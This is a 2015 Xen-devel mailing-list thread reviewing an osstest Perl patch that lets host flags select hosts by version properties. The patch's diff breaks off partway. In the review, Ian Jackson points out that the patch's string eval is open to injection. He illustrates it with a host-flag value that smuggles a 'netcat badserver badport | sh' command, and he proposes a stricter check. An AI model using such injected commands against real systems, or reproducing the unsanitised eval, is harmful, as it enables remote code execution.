Re: [Xen-devel] [PATCH OSSTEST 3/4] Add support for selecting resources based on their properties.

[Ian Campbell]

On Tue, 2015-09-15 at 18:18 +0100, Ian Jackson wrote:
> Ian Campbell writes ("[PATCH OSSTEST 3/4] Add support for selecting
> resources based on their properties."):
> > In particular for allocating hosts based on host properties.
> > 
> > To do this we extend the hostflags syntax with "condition:arg1:arg2".
> > This specifies that the candidate host must pass the condition given
> > the arguments.
> 
> This looks pretty good.
> 
> > +package Osstest::ResourceCondition::PropMinVer;
> ...
> > +sub new {
> > +my ($class, $name, $prop, $val) = @_;
> > +return bless {
> > +   Prop => propname_massage($prop),
> 
> You can probably skip this propname_massage too, and require the new
> actual flag settings to use the CamelCase naming.


My thinking is that this would prevent people using an old style name for
the database prop and getting away with it by making the same error in the
host flags.

Of course this now lets people get away with the wrong name in the host
flags so long as the database is correct.

die $prop ne propname_massage($prop) 

???

> 
> I think this function should check the length of @_ so as to reject
> invocations with the wrong number of :-delimited values.  (This is not
> in general true of the various host access methods which arguably
> ought to tolerate additional expansion arguments, so it wasn't in the
> code you were cribbing.)
> 
> > +sub stringify {
> > +my ($pmv) = @_;
> > +return "$pmv->{MinVal} >= property $pmv->{Prop}";
> ^
> Maybe add `(version)' or `(v)' ?

Done.

> 
> > +# If the required minimum is >= to the resource's minimum then the
> 
> You don't mean the `required minimum'.  It's the `maximum minimum'.
> (In fact in the Linux kernel example it is going to be the _actual_.)

I did s/required minimum/maximum minimum/

> > diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
> > index 294395d..345ffeb 100755
> ...
> > +} elsif ($flag =~ m/:/) {
> 
> Can we have   $flag =~ m/^\w+:   ?

Yep, done

[...]
> > +   or die "get ResourceCondition $@";
> > +
> > +   push @{$hid->{Conds}{host}}, $o;
> 
> I normally like to put some spaces inside the @{ } in this kind of
> thing.

Ack.

> 
> Ian.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH OSSTEST 3/4] Add support for selecting resources based on their properties.

[Ian Jackson]

Ian Campbell writes ("[PATCH OSSTEST 3/4] Add support for selecting resources 
based on their properties."):
> In particular for allocating hosts based on host properties.
> 
> To do this we extend the hostflags syntax with "condition:arg1:arg2".
> This specifies that the candidate host must pass the condition given
> the arguments.

This looks pretty good.

> +package Osstest::ResourceCondition::PropMinVer;
...
> +sub new {
> +my ($class, $name, $prop, $val) = @_;
> +return bless {
> + Prop => propname_massage($prop),

You can probably skip this propname_massage too, and require the new
actual flag settings to use the CamelCase naming.

I think this function should check the length of @_ so as to reject
invocations with the wrong number of :-delimited values.  (This is not
in general true of the various host access methods which arguably
ought to tolerate additional expansion arguments, so it wasn't in the
code you were cribbing.)

> +sub stringify {
> +my ($pmv) = @_;
> +return "$pmv->{MinVal} >= property $pmv->{Prop}";
^
Maybe add `(version)' or `(v)' ?

> +# If the required minimum is >= to the resource's minimum then the

You don't mean the `required minimum'.  It's the `maximum minimum'.
(In fact in the Linux kernel example it is going to be the _actual_.)

> diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
> index 294395d..345ffeb 100755
...
> +} elsif ($flag =~ m/:/) {

Can we have   $flag =~ m/^\w+:   ?

That way we can invent new syntaxes (or even flags) which have `:'
further right, without ambiguity.

This will also avoid excitement here ...

> + my (@c) = split /:/, $flag;
> + my $o;
> + eval ("use Osstest::ResourceCondition::$c[0];".
> +   "\$o = Osstest::ResourceCondition::$c[0]->new(\@c);")

... if I specify

  all_hostflags='PropMinVer; system "netcat badserver badport | sh";:ha:ha'

> + or die "get ResourceCondition $@";
> +
> + push @{$hid->{Conds}{host}}, $o;

I normally like to put some spaces inside the @{ } in this kind of
thing.

Ian.

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH OSSTEST 3/4] Add support for selecting resources based on their properties.

[Ian Campbell]

In particular for allocating hosts based on host properties.

To do this we extend the hostflags syntax with "condition:arg1:arg2".
This specifies that the candidate host must pass the condition given
the arguments.

Each "condition" is a new module in the Osstest::ResourceCondition
namespace. For each condition an object is constructed using the given
arguments (split on ':') and stored in $hid.

When allocating for each candidate host the object's ->check method is
called giving $restype and $resname and will return true or false
depending on whether the given host meets the condition.

Only a single condition is implemented here "PropMinVer" which
requires that a given property on the resource has at least the given
value when compared as a version string. The actual database name of
the property must be in the new CamelCase style (as output by
propname_massage) since it is looked up by precisely that name and
possible legacy aliases are not considered. Lack of the property being
compared is taken a "no restriction" and hence is allowed.

Signed-off-by: Ian Campbell 
---
 Osstest/ResourceCondition/PropMinVer.pm | 74 +
 ts-hosts-allocate-Executive | 25 +--
 2 files changed, 96 insertions(+), 3 deletions(-)
 create mode 100644 Osstest/ResourceCondition/PropMinVer.pm

diff --git a/Osstest/ResourceCondition/PropMinVer.pm 
b/Osstest/ResourceCondition/PropMinVer.pm
new file mode 100644
index 000..d842fe7
--- /dev/null
+++ b/Osstest/ResourceCondition/PropMinVer.pm
@@ -0,0 +1,74 @@
+# This is part of "osstest", an automated testing framework for Xen.
+# Copyright (C) 2015 Citrix Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see .
+
+package Osstest::ResourceCondition::PropMinVer;
+
+use strict;
+use warnings;
+
+use Osstest;
+use Osstest::TestSupport;
+
+use Sort::Versions;
+
+use overload '""' => 'stringify';
+
+BEGIN {
+use Exporter ();
+our ($VERSION, @ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+$VERSION = 1.00;
+@ISA = qw(Exporter);
+@EXPORT  = qw();
+%EXPORT_TAGS = ( );
+
+@EXPORT_OK   = qw();
+}
+
+sub new {
+my ($class, $name, $prop, $val) = @_;
+return bless {
+   Prop => propname_massage($prop),
+   MinVal => $val
+}, $class;
+}
+
+sub stringify {
+my ($pmv) = @_;
+return "$pmv->{MinVal} >= property $pmv->{Prop}";
+}
+
+sub check {
+my ($pmv, $restype, $resname) = @_;
+
+# Using _cached avoids needing to worry about $dbh_tests being
+# closed/reopened between invocations
+my $hpropq = $dbh_tests->prepare_cached(<execute($restype, $resname, $pmv->{Prop});
+
+my $row= $hpropq->fetchrow_arrayref();
+$hpropq->finish();
+
+return 1 unless $row; # No prop == no restriction.
+
+# If the required minimum is >= to the resource's minimum then the
+# resource meets the requirement.
+return versioncmp($pmv->{MinVal}, $row->[0]) >= 0;
+}
+
+1;
diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
index 294395d..345ffeb 100755
--- a/ts-hosts-allocate-Executive
+++ b/ts-hosts-allocate-Executive
@@ -213,7 +213,7 @@ sub compute_hids () {
 our %equivs;
 
 foreach my $ident (@ARGV) {
-my $hid= { };
+my $hid= { Conds => { host => [] } };
 my $override_use;
 if ($ident =~ m/\=/) {
 $hid->{OverrideUse}= $'; #'
@@ -251,11 +251,23 @@ sub compute_hids () {
 my $equiv= $hid->{Equiv}= $equivs{$formalclass};
 print DEBUG "HID $ident FLAG $flag EQUIV $equiv->{Wanted}\n";
 next;
-}
+} elsif ($flag =~ m/:/) {
+   my (@c) = split /:/, $flag;
+   my $o;
+   eval ("use Osstest::ResourceCondition::$c[0];".
+ "\$o = Osstest::ResourceCondition::$c[0]->new(\@c);")
+   or die "get ResourceCondition $@";
+
+   push @{$hid->{Conds}{host}}, $o;
+
+   print DEBUG "HID $ident FLAG $flag HCOND $o\n";
+   next;
+   }
 $flags{$flag}= 1;
 }
 $hid->{Flags}= \%flags;
-print DEBUG "HID $ident FLAGS ".(join ',', sort keys %flags)."\n";
+